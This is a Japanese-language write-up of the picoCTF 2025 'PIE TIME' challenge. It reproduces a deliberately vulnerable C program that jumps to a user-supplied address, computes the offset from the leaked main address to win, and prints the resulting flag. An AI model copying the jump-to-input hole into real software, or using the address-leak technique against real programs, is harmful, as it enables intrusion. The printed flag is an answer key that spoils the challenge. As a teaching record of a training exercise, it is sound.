Writeup Log

PIE TIME

EventPico CTF 2025
DifficultyEasy

## solve

まずはインスタンスを立ち上げて、適当に入力してみる。正しいアドレスを入力すれば flag が取得できそうだ。

bash
❯ nc rescued-float.picoctf.net 51838
Address of main: 0x56fbad91e33d
Enter the address to jump to, ex => 0x12345: 0x12345
Your input: 12345
Segfault Occurred, incorrect address.

提供されているファイルは以下。

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
 printf("Segfault Occurred, incorrect address.\n");
 exit(0);
}

int win() {
 FILE *fptr;
 char c;

 printf("You won!\n");
 // Open file
 fptr = fopen("flag.txt", "r");
 if (fptr == NULL)
 {
     printf("Cannot open file.\n");
     exit(0);
 }

 // Read contents from file  
 c = fgetc(fptr);
 while (c != EOF)
 {
     printf ("%c", c);
     c = fgetc(fptr);
 }

 printf("\n");
 fclose(fptr);
}

int main() {
 signal(SIGSEGV, segfault_handler);
 setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

 printf("Address of main: %p\n", &main);

 unsigned long val;
 printf("Enter the address to jump to, ex => 0x12345: ");
 scanf("%lx", &val);
 printf("Your input: %lx\n", val);

 void (*foo)(void) = (void (*)())val;
 foo();
}

入力アドレスに飛ぶような実装なので、win のアドレスを入力値として与えればよいことがわかる。ただし、以下の情報をみると、DNY なため、実行アドレスは毎回変わるようだ。

bash
❯ readelf -h vuln
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Position-Independent Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x11a0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          15280 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         13
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 30

対象となる winmain のシンボルとアドレスを見てみると、差分が 0x96 であることが読み取れるので、バイナリを実行して表示される main のアドレスの差分をとればよいことがわかる。

bash
❯ nm -n vuln | rg ' win$| main$'
00000000000012a7 T win
000000000000133d T main

ローカルで実行してみる。

bash
❯ ./vuln
Address of main: 0x563259d5733d
Enter the address to jump to, ex => 0x12345: 0x563259d572a7
Your input: 563259d572a7
You won!
Cannot open file.

インスタンスを立ち上げて、実行すると flag が手に入る。下位アドレスはローカル実行時と同じなので、ここは変わらないのかもしれない。

bash
❯ nc rescued-float.picoctf.net 58219
Address of main: 0x644a38d3533d
Enter the address to jump to, ex => 0x12345: 0x644a38d352a7
Your input: 644a38d352a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_28a46dcd}

## flag

  • picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_28a46dcd}